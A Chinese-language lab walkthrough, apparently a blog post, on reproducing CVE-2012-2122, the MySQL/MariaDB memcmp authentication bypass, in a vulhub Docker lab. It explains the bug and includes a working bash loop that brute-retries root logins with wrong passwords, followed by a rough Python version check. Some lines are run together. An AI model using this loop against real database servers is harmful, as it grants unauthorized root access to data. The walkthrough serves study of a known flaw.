前言:CVE-2012-2122 是一個影響 MySQL 和 MariaDB 的身份驗證漏洞,存在于特定版本中
vulhub/mysql/CVE-2012-2122/README.zh-cn.md at master · vulhub/vulhubhttps://github.com/vulhub/vulhub/blob/master/mysql/CVE-2012-2122/README.zh-cn.md
任務一 介紹?CVE-2012-2122
CVE 編號:CVE-2012-2122
披露時間:2012 年 6 月
漏洞類型:認證繞過(Authentication Bypass)
攻擊類型:遠程攻擊,無需認證(Remote / Unauthenticated)
CVSS 評分:10.0(最高危)
攻擊者可在不使用正確密碼的情況下,通過反復嘗試連接,以一定概率獲得數據庫的訪問權限,包括 root 用戶權限。
MySQL 在特定版本中,密碼認證邏輯依賴 memcmp() 函數來比對密碼哈希。但某些平臺或編譯器(如 GCC 編譯的 Linux x86_64)優化后返回值未嚴格為 0 或非 0,而是返回正負整數錯誤的核心是:
if (!memcmp(user_input_hash, stored_hash, 20))
{// 登錄成功
}原意是“如果兩個哈希相等(返回值為 0)則通過”,但編譯優化或符號擴展可能讓返回值表現不穩定,導致錯誤判斷于是只要攻擊者足夠頻繁地發送錯誤密碼,在特定概率(大約 1/256)下,memcmp 返回的非零值可能被誤判為 “密碼正確”,從而通過認證
任務二 啟動環境?
cd mysql/CVE-2012-2122/
docker compose up -d
sudo apt update
sudo apt install mysql-client-core-8.0
//安裝 MySQL 客戶端//如果是MariaDB(一般情況不是)
sudo apt install mariadb-client-core
?
任務三 攻擊?
for i in `seq 1 1000`; domysql -h 127.0.0.1 -P 3306 -uroot -pwrong_password 2>/dev/null
done//以下是可能出現的報錯
//這是因為 mysql 命令默認嘗試通過本地 socket 文件連接 MySQL,但:
復現環境中 MySQL 是跑在容器里,未通過本地 socket 暴露服務。
for i in `seq 1 1000`; domysql -h 127.0.0.1 -P 3306 -uroot -p123 2>/dev/null
done//改進代碼
?
任務四 修復 | 驗證?
import subprocessdef check_cve_2012_2122():try:output = subprocess.check_output("mysql --version", shell=True)version = output.decode().strip().split()[4].rstrip(',')affected_versions = ['5.1.62', '5.5.23', '5.6.5'] # 示例版本if version in affected_versions:return "Vulnerable"return "Patched"except Exception as e:return f"Error: {e}"
參考鏈接
- MITRE CVE-2012-2122
- MySQL Security Advisory
?
?
?
?
?
?